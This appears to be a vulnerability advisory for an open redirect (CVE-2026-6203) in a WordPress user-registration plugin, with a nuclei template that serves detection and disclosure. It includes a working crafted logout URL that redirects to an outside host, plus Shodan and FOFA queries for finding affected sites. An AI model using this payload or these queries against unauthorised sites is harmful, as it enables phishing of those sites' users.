User Registration & Membership WordPress plugin - Open Redirect

mediumseverity

6.1CVSS score

0.7%likelihood of exploitation, next 30 days

52%of all CVEs are less likely

Readycheck to confirm it

User Registration & Membership WordPress plugin <= 5.1.4 contains an open redirect caused by insufficient validation of 'redirect_to_on_logout' parameter, letting attackers redirect users to malicious external URLs after logout, exploit requires crafted URL.

Impact

Attackers can redirect users to malicious sites after logout, facilitating phishing attacks and user deception.

Fix

Update to a version later than 5.1.4 or the latest available version.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/user-registration/readme.txt
Positive when: status_code == 200 and contains(body, "User Registration")
Send: GET {{BaseURL}}/?user-logout=true&redirect_to_on_logout=https://interact.sh
Positive when: status 302 AND contains in header "Location: https://interact.sh"

Run it with nuclei: nuclei -id CVE-2026-6203 -u <target>

The full check

id: CVE-2026-6203

info:
  name: User Registration & Membership WordPress plugin - Open Redirect
  author: theamanrawat
  severity: medium
  description: |
    User Registration & Membership WordPress plugin <= 5.1.4 contains an open redirect caused by insufficient validation of 'redirect_to_on_logout' parameter, letting attackers redirect users to malicious external URLs after logout, exploit requires crafted URL.
  impact: |
    Attackers can redirect users to malicious sites after logout, facilitating phishing attacks and user deception.
  remediation: |
    Update to a version later than 5.1.4 or the latest available version.
  reference:
    - https://patchstack.com/database/vulnerability/wordpress-user-registration-membership-plugin-5-1-4-unauthenticated-open-redirect-via-redirect-to-on-logout-parameter-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2026-6203
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-6203
    epss-score: 0.00663
    epss-percentile: 0.52018
    cwe-id: CWE-601
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.html:"/wp-content/plugins/user-registration/"
    fofa-query: body="/wp-content/plugins/user-registration/" && title="WordPress"
  tags: cve,cve2026,wp,wordpress,wp-plugin,user-registration,open-redirect

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/user-registration/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "User Registration")'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/?user-logout=true&redirect_to_on_logout=https://interact.sh"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 302

      - type: word
        part: header
        words:
          - "Location: https://interact.sh"

References

Use this check only on systems you are authorised to test. Where the data comes from